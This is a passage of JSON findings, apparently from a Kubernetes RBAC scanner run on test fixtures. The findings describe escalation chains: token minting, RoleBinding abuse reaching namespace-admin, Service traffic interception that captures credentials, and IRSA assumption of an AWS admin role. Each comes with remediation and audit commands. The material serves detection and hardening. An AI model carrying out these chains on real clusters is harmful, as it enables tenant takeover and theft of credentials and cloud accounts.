        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-token-create:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.3,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can reach **namespace-admin in `rbac-ns-fixtures`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  2. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-token-create` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-token-create` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "token_request",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-token-create` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/rbac-fixtures/sa-token-create:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 7.25,
    "category": "lateral_movement",
    "title": "`ServiceAccount/rbac-fixtures/sa-token-create` can **intercept in-cluster Service traffic** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-token-create` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `token_request` (create serviceaccounts/token): can mint tokens for ServiceAccount hookbackend-fixtures/hookbackend-operator\n  2. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-token-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-token-create` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-token-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-token-create`, the attacker calls the `serviceaccounts/token` subresource (`create serviceaccounts/token`) to mint a fresh, valid token for `ServiceAccount/hookbackend-fixtures/hookbackend-operator`. No pod creation required, and a thinner audit trail than the pod-mount route.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. token_request [create serviceaccounts/token]",
        "2. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "token_request",
      "hop_count": 2,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "token_request",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create serviceaccounts/token` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-token-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "token_request",
        "technique": "KUBE-PRIVESC-014",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-token-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create serviceaccounts/token",
        "gains": "can mint tokens for ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-token-create",
        "source_role": "cr-token-create"
      },
      {
        "step": 2,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-ephemeral:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/cloud-eks-test/eks-admin-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "eks-admin-irsa",
          "namespace": "cloud-eks-test"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/AdministratorAccess"
        },
        "permission": "arn:aws:iam::123456789012:role/AdministratorAccess",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-pod-exec:aws_iam_role:arn:aws:iam::123456789012:role/AdministratorAccess",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 7.2,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-exec` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (2 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-exec` → `ServiceAccount/cloud-eks-test/eks-admin-irsa` via `pod_exec` (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount cloud-eks-test/eks-admin-irsa\n  2. `ServiceAccount/cloud-eks-test/eks-admin-irsa` → `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `irsa_assume_role` (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-exec",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-exec` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-pod-exec`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-exec`, the attacker uses `pods/exec` (`create,get pods/exec|pods/attach`) to open a shell inside `ServiceAccount/cloud-eks-test/eks-admin-irsa` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/cloud-eks-test/eks-admin-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/AdministratorAccess` via `arn:aws:iam::123456789012:role/AdministratorAccess`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create,get pods/exec|pods/attach]",
        "2. irsa_assume_role [arn:aws:iam::123456789012:role/AdministratorAccess]"
      ],
      "first_action": "pod_exec",
      "hop_count": 2,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "irsa_assume_role"
      ]
    },
